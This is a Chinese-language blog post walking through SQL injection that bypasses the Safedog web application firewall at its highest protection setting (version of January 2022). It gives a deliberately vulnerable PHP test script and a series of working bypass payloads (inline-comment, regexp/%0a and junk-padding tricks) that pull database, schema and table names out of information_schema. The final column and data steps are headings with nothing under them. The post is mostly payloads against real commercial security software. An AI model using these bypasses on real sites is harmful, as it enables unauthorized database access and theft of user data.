安小琪's blog

少年有梦,不应止于心动

绕最新版安全狗(20220117)

sql注入绕最新版安全狗(2022\01\17)

下载最新版安全狗,并设置防护等级为高级(2022/1/17)

网站测试脚本,用的是sqli-labs的数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
if ($_GET['id']==null){$id=$_POST['id'];}
else {$id=$_GET['id'];}
$con = mysql_connect("localhost","root","root");
if (!$con){die('Could not connect: ' . mysql_error());}
mysql_select_db("security", $con);
$query = "SELECT username,password FROM users WHERE id = '$id'; ";
$result = mysql_query($query)or die('<pre>'.mysql_error().'</pre>');
while($row = mysql_fetch_array($result))
{
echo $row['0'] . "&nbsp" . $row['1'];
echo "<br />";
}
echo "<br/>";
echo $query;
mysql_close($con);
?>

注入点判断

and被拦截

1
|| 替代 and
1
2
内联注释绕过
1' /*!44677and*/1=1--+

列数判断

order by被拦截

1
group by 替代

得到列数为2

回显点判断

union select 被拦截

1
regexp + 内联 + %0a 绕过

内联注释是MySQL为了保持与其他数据兼容,将MySQL中特有的语句放在/*!…/中,
这些语句在不兼容的数据库中不执行,而在MySQL自身却能识别,执行。
/\
!50001xxx*/表示数据库版本>=5.00.01时中间的语句xxx才能被执行,否则被当作注释符

得到回显点为1,2

数据库信息查询

括号被拦截

1
2
3
内联注释垃圾字符填充绕过

-1' regexp "%0A%23"/*44999union%0aselect*/ 1,database(/*!99999999999999999aaaaa*/)--+

得到数据库名为security

也可以用下面的方法

1
-1' regexp  "%0A%23" /*!44999union%0aselect*/  1,group_concat(schema_name/*999999999aaaa*/)from/*!44999 /* regexp  "%0A%23" */ %0a information_schema.schemata*/--+

查询表名

用上面查数据库名的方法即可

1
-1%27%20regexp%20%20%22%0A%23%22%20/*!44999union%0aselect*/%20%201,group_concat(table_name/*999999999aaaa*/)from/*!44999%20/*%20regexp%20%20%22%0A%23%22%20*/%20%0a%20information_schema.tables%20where%20table_schema=0x7365637572697479*/--+

查列名

查数据